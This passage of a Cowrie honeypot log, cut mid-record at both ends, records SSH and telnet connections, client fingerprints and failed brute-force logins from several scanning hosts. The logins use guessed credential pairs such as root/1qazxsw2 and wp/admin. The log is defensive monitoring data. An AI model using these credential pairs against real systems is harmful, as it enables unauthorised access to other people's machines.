gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.420591Z","src_ip":"176.65.132.254","session":"277b9132c73a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.667555Z","src_ip":"176.65.132.254","session":"277b9132c73a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.426920413970947,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:39.694497Z","src_ip":"38.54.119.93","session":"6aa6b77da768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81924557685852,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:40.728896Z","src_ip":"62.210.97.77","session":"bac32dcba6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:40.756417Z","src_ip":"176.65.132.254","session":"277b9132c73a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50602,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb5805daab72","protocol":"telnet","message":"New connection: 65.60.27.33:50602 (10.17.0.5:23) [session: eb5805daab72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:40.842057Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":55632,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e2f892c5dd","protocol":"telnet","message":"New connection: 134.209.8.29:55632 (159.203.135.109:23) [session: 41e2f892c5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:41.289313Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"b053102a5b29","protocol":"telnet","message":"New connection: 65.60.27.33:52178 (10.17.0.5:23) [session: b053102a5b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:42.410636Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"202bc872053c","protocol":"telnet","message":"New connection: 62.210.97.77:55066 (10.17.0.5:23) [session: 202bc872053c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:42.862224Z"}
{"eventid":"cowrie.session.closed","duration":50.5624840259552,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:42.951027Z","src_ip":"134.209.8.29","session":"1be7a1e671f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.55486464500427,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:42.980609Z","src_ip":"65.60.27.33","session":"25c9610146c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"9409aef63eab","protocol":"telnet","message":"New connection: 62.210.97.77:55082 (10.17.0.5:23) [session: 9409aef63eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:43.031207Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38064,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da785e7fbc8","protocol":"ssh","message":"New connection: 176.65.132.254:38064 (10.17.0.5:22) [session: 4da785e7fbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:43.572432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:43.577392Z","src_ip":"176.65.132.254","session":"4da785e7fbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:43.659588Z","src_ip":"176.65.132.254","session":"4da785e7fbc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpass123","message":"login attempt [root/testpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:43.939268Z","src_ip":"176.65.132.254","session":"4da785e7fbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55092,"dst_ip":"10.17.0.5","dst_port":23,"session":"5efeb07bb263","protocol":"telnet","message":"New connection: 62.210.97.77:55092 (10.17.0.5:23) [session: 5efeb07bb263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:44.110219Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:45.046814Z","src_ip":"176.65.132.254","session":"4da785e7fbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59300,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9feeecb9407","protocol":"telnet","message":"New connection: 134.209.8.29:59300 (159.203.135.109:23) [session: b9feeecb9407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:47.509082Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"392f2d05af54","protocol":"ssh","message":"New connection: 176.65.132.254:38070 (10.17.0.5:22) [session: 392f2d05af54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:47.527845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:47.534268Z","src_ip":"176.65.132.254","session":"392f2d05af54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:47.616781Z","src_ip":"176.65.132.254","session":"392f2d05af54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:48.066809Z","src_ip":"176.65.132.254","session":"392f2d05af54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51246,"dst_ip":"10.17.0.5","dst_port":23,"session":"2108da83be03","protocol":"telnet","message":"New connection: 62.210.97.77:51246 (10.17.0.5:23) [session: 2108da83be03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:49.054021Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:49.152492Z","src_ip":"176.65.132.254","session":"392f2d05af54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59296,"dst_ip":"159.203.135.109","dst_port":23,"session":"6357547b5e3c","protocol":"telnet","message":"New connection: 134.209.8.29:59296 (159.203.135.109:23) [session: 6357547b5e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:49.500025Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53709b996a5","protocol":"telnet","message":"New connection: 62.210.97.77:51248 (10.17.0.5:23) [session: c53709b996a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:49.630677Z"}
{"eventid":"cowrie.session.closed","duration":35.010125160217285,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:50.399812Z","src_ip":"62.210.97.77","session":"ec6418032ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.9288911819458,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:50.664907Z","src_ip":"62.210.97.77","session":"e54e752b567b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":38076,"dst_ip":"10.17.0.5","dst_port":22,"session":"134619926a0b","protocol":"ssh","message":"New connection: 176.65.132.254:38076 (10.17.0.5:22) [session: 134619926a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:51.651306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:51.656875Z","src_ip":"176.65.132.254","session":"134619926a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:51.741997Z","src_ip":"176.65.132.254","session":"134619926a0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:51.989096Z","src_ip":"176.65.132.254","session":"134619926a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35584,"dst_ip":"10.17.0.5","dst_port":23,"session":"04908166f075","protocol":"telnet","message":"New connection: 65.60.27.33:35584 (10.17.0.5:23) [session: 04908166f075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:52.795190Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:53.297409Z","src_ip":"176.65.132.254","session":"134619926a0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17292,"dst_ip":"10.17.0.5","dst_port":22,"session":"a705ee2e11e8","protocol":"ssh","message":"New connection: 190.129.122.12:17292 (10.17.0.5:22) [session: a705ee2e11e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:53.408785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:53.413870Z","src_ip":"190.129.122.12","session":"a705ee2e11e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:53.586860Z","src_ip":"190.129.122.12","session":"a705ee2e11e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.432955503463745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:54.053847Z","src_ip":"136.144.139.78","session":"d32ce8caba9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27379870414734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:54.205683Z","src_ip":"62.210.97.77","session":"036209a67869","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wp","password":"admin","message":"login attempt [wp/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:54.293313Z","src_ip":"190.129.122.12","session":"a705ee2e11e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51254,"dst_ip":"10.17.0.5","dst_port":23,"session":"14a0e3f7155d","protocol":"telnet","message":"New connection: 62.210.97.77:51254 (10.17.0.5:23) [session: 14a0e3f7155d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:55.011341Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:55.465775Z","src_ip":"190.129.122.12","session":"a705ee2e11e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51268,"dst_ip":"10.17.0.5","dst_port":23,"session":"553b403ffd46","protocol":"telnet","message":"New connection: 62.210.97.77:51268 (10.17.0.5:23) [session: 553b403ffd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:55.665118Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48580,"dst_ip":"10.17.0.5","dst_port":22,"session":"84314648a00c","protocol":"ssh","message":"New connection: 176.65.132.254:48580 (10.17.0.5:22) [session: 84314648a00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:55.976275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:55.981376Z","src_ip":"176.65.132.254","session":"84314648a00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.61088538169861,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:56.050949Z","src_ip":"62.210.97.77","session":"f9cbb25b34d5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:56.063724Z","src_ip":"176.65.132.254","session":"84314648a00c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:56.637338Z","src_ip":"176.65.132.254","session":"84314648a00c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.42485165596008,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:57.514969Z","src_ip":"134.209.8.29","session":"b7237968274b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:57.721431Z","src_ip":"176.65.132.254","session":"84314648a00c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45028,"dst_ip":"10.17.0.5","dst_port":23,"session":"369d304b8786","protocol":"telnet","message":"New connection: 62.210.97.77:45028 (10.17.0.5:23) [session: 369d304b8786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:58.624938Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42204,"dst_ip":"10.17.0.5","dst_port":23,"session":"915b806af5a8","protocol":"telnet","message":"New connection: 65.60.27.33:42204 (10.17.0.5:23) [session: 915b806af5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:58.902061Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48588,"dst_ip":"10.17.0.5","dst_port":22,"session":"38adde5b1f4e","protocol":"ssh","message":"New connection: 176.65.132.254:48588 (10.17.0.5:22) [session: 38adde5b1f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.021823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:00.035473Z","src_ip":"176.65.132.254","session":"38adde5b1f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","e